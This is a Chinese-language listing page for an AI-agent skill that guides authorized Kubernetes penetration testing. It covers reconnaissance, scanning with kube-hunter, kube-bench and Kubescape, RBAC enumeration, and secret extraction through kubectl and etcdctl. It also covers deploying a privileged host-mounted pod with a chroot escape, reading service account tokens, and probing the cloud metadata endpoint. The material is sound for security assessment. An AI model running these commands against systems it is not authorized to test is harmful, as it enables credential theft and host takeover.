关于 performing-kubernetes-penetration-testing
面向授权测试人员的 Kubernetes 集群安全评估指南,通过模拟攻击技术检查集群。内容包括侦察、自动扫描、基准检查、RBAC 与密钥测试,以及发现项验证。
主要功能
- 01集群攻击面概览
- 02外部侦察流程
- 03kube-hunter 与 kube-bench 扫描
- 04Kubescape 框架评估
- 05RBAC 与密钥访问测试
- 06发现项验证命令
适用场景
- 01评估获准测试的 Kubernetes 集群
- 02检查安全框架合规情况
- 03测试 RBAC 和密钥暴露
- 04根据扫描发现复测修复效果
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-kubernetes-penetration-testing安装后在 Claude Code 中输入/performing-kubernetes-penetration-testing确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
执行 Kubernetes 渗透测试
概述
Kubernetes 渗透测试通过模拟攻击者针对 API 服务器、kubelet、etcd、Pod、RBAC、网络策略和 Secret 的技术,系统地评估集群安全性。使用 kube-hunter、Kubescape、peirates 等工具以及手动 kubectl 利用,测试人员可以识别可能导致集群被攻陷的配置错误。
何时使用
- 在进行涉及执行 Kubernetes 渗透测试的安全评估时
- 在针对相关安全事件遵循事件响应流程时
- 在执行定期安全测试或审计活动时
- 通过实际操作测试验证安全控制措施时
前置条件
- 获得授权的渗透测试委托
- Kubernetes 集群访问权限(不同测试场景需要不同级别)
- 已安装 kube-hunter、kubescape、kube-bench
- 已配置 kubectl
- 可访问集群组件的网络
核心概念
Kubernetes 攻击面
| 组件 | 端口 | 攻击向量 |
|---|---|---|
| API 服务器 | 6443 | 认证绕过、RBAC 滥用、匿名访问 |
| Kubelet | 10250/10255 | 未认证访问、命令执行 |
| etcd | 2379/2380 | 未认证读取、Secret 提取 |
| Dashboard | 8443 | 默认凭证、令牌窃取 |
| NodePort 服务 | 30000-32767 | 服务暴露、应用程序利用 |
| CoreDNS | 53 | DNS 欺骗、区域传送 |
针对 Kubernetes 的 MITRE ATT&CK
| 阶段 | 技术 |
|---|---|
| 初始访问 | 暴露的 Dashboard、Kubeconfig 窃取、应用程序利用 |
| 执行 | exec 进入容器、CronJob、部署特权 Pod |
| 持久化 | 后门容器、变异 Webhook、静态 Pod |
| 权限提升 | 特权容器、节点访问、RBAC 滥用 |
| 防御规避 | Pod 名称伪装、命名空间隐藏、日志删除 |
| 凭证访问 | Secret 提取、服务账户令牌窃取 |
| 横向移动 | 容器逃逸、集群内部服务 |
工作流
步骤 1:外部侦察
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces
# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods # Read-only kubelet
步骤 2:使用 kube-hunter 进行自动化扫描
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
步骤 3:使用 kube-bench 进行 CIS 基准评估
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
步骤 4:使用 Kubescape 进行框架合规性检查
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Scan against NSA/CISA hardening guide
kubescape scan framework nsa
# Scan against MITRE ATT&CK
kubescape scan framework mitre
# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1
# Scan specific namespace
kubescape scan framework nsa --namespace production
# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
步骤 5:RBAC 利用测试
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*' # cluster-admin check
# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
步骤 6:Secret 提取测试
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
步骤 7:Pod 利用
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystem
chroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
步骤 8:网络策略测试
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
验证命令
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
参考资料
评论
支持 Markdown